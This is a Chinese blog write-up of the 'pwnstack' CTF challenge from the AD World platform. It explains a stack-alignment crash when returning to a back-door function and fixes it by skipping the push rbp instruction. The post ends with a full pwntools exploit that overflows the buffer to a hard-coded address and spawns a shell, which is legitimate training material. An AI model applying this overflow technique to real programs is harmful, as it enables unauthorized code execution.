首页 > 其他分享 >CTFpwnAD世界pwnstack题解及栈溢出两种解法

CTFpwnAD世界pwnstack题解及栈溢出两种解法

时间:2023-12-13 13:34:39浏览次数:37  
标签:adr 题解 ret pwnstack 及栈 io debug rsp 溢出

问题的出现

这题我刚看到时差点没笑出来,但是尝试了一次之后我就笑不出来了。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_ADworld

这题给了back_door后门函数,但是如果直接覆盖返回到后门函数起始位置会出现栈溢出问题。到这一步都没有出现问题,而继续ni的话就会卡住。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_栈溢出_02

基本上这里看到xmm0就是栈对其问题了。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_ADworld_03

出现问题原因很简单,linux系统一些版本要求在执行system(/bin/sh)时,rsp必须为整16倍数。(其实就是rsp的末尾必须为0)

而在第一张图看到,rsp末尾为8.

解法一

在溢出时再加一个ret的gadget,让程序ret一次之后再执行system。

很可惜这题不能这样做。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_题解wp_04

read给了0xB1个字节,而溢出需要0xA0+8 = 0xA8.所以留给我们只有0x9个字节,不足以容纳一个ret加back的两个地址。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_题解wp_05

解法二

跳过一个push,任何函数在开始时都会有一个push rbp,栈溢出时跳过这一步就行了。

CTFpwnAD世界pwnstack题解及栈溢出两种解法_栈溢出_06

所以我们最后选的后门地址应该为0x400763或0x400766.

完整exp

from pwn import *
context(
    terminal = ['tmux','splitw','-h'],
    os = "linux",
    arch = "amd64",
    # arch = "i386",
    log_level="debug",
)
# io = remote("61.147.171.105",51011)
io = process("./ret2")
def debug():
    gdb.attach(io)
    pause()
debug()
sys_adr = 0x400762
ret_adr = 0x400777
read_adr = 0x400756
sys2_adr = 0x400763

payload = cyclic(0xA8) + p64(sys_adr)
io.sendline(payload)
io.interactive()

这个问题比较简单,字数太少了,又要被标记为水文了www

标签:adr,题解,ret,pwnstack,及栈,io,debug,rsp,溢出
From: https://blog.51cto.com/u_16356440/8801373

相关文章

  • 【洛谷 P1271】【深基9.例1】选举学生会 题解(计数排序)
    【深基9.例1】选举学生会题目描述学校正在选举学生会成员,有名候选人,每名候选人编号分别从1到,现在收集到了张选票,每张选票都写了一个候选人编号。现在想把这些堆积如山的选票按照投票数字从小到大排序。输入格式输入和以及个选票上的数字。输出格式求出排序后的选票编......
  • CTFpwnAD世界dice_game题解wp
    惯例checksec一下看看main首先seed函数用时间生成一个随机数,这个随机数做为srand函数的参数让srand函数生成一个种子。(这个种子会影响后面的rand函数生成结果,并且同样的种子会使rand函数生成同样的随机数,就是所谓的伪随机)以及看到这里会有连续五十轮游戏。sub_A20这里就是每一轮......
  • [ARC106F] Figures 题解
    题目链接点击打开链接题目解法这么神仙的推式子题看到生成树计数,第一反应是\(prufer\)序列考虑在\(prufer\)序列上搞这个东西可以得到\(ans=\sum\limits_{\sum\limits_{i=1}^nd_i=n-2}\binom{n-2}{d_1,d_2,...,d_n}\times\proda_i^{\underline{d_i+1}}\)考虑拆式子......
  • 问题解决
    howtomeasuressolutionsaddresstheimportanceofspeaking abilityandhowtodevelopit.Astherapid developmentofglobalization,itisofgreatnecessityforyoungstertoimproveourspeakingability.Howtoaddressthisproblem?Thefollowingsoluti......
  • AtCoder Beginner Contest 332 题解
    A-OnlineShopping题目链接AtcoderLuogu简要题意共有\(n\)件商品,第\(i\)件商品的价格为\(p_i\)日元,数量为\(q_i\)件。除了购买商品所需的的钱数,还要支付运费:如果所买商品的总价小于\(s\)日元,那么要支付运费\(k\)日元。问所需要的钱数是多少。简要思路模拟......
  • cdr 小问题解决方案
    1,插件卸载不干净1.1:插件自带的卸载1.2:点击cdr文件夹,选择路径CorelDRAWGraphicsSuiteX8\Draw\plugins64,删除其中所有的"*.cpg"文件(如果你安装了其他插件,这里也会有其他插件的cpg文件,请仔细辨认。或者直接全部删了,到时再安装一下你需要保留的插件)。 2,cdr矩形,对象属性无法更......
  • 【POJ 2418】Hardwood Species 题解(映射)
    描述阔叶树是一种植物群,具有宽阔的叶子,结出果实或坚果,通常在冬天休眠。美国的温带气候造就了数百种阔叶树种的森林,这些树种具有某些生物特征。例如,虽然橡树、枫树和樱桃都是硬木树,但它们是不同的物种。所有硬木树种加起来占美国树木的40%。另一方面,软木,或针叶树,从拉丁语的意思是......
  • luogu P9753题解
    题意描述有一个字符串,请你求出有多少个字串可以经过若干次,使它变成空串其中每次操作可以从字符串中删除两个相邻的相同字符,操作后剩余字符串会拼接在一起。##思路1可以枚举左端点,再枚举右端点,一边枚举一边判断是否合法时间复杂度$O(n^2)$空间复杂度$O(n)$##思......
  • ARC166 B Make Multiples 题解
    LinkARC166BMakeMultiplesQuestion给出\(N\)个整数,\(A_1...A_N\),还有三个数\(a,b,c\)我们可以给\(A_i\)加上\(1\)需要使得数组\(A\)满足,存在一个数是\(a\)的倍数,一个数是\(b\)的倍数,一个数是\(c\)的倍数求最少的操作次数Solution考虑对于每个数的操作......
  • CF1901 D Yet Another Monster Fight 题解
    LinkCF1901DYetAnotherMonsterFightQuestion现在给你一堆怪物,你拥有法术(一个法术可以连续攻击这n个所有怪物),你可以选择任意一个怪物作为法术的第一个攻击目标(伤害为\(x\)),然后除了第一个攻击目标可以任意,其他攻击目标只能为曾经攻击目标的相邻怪物。然后伤害依次递减,\(x......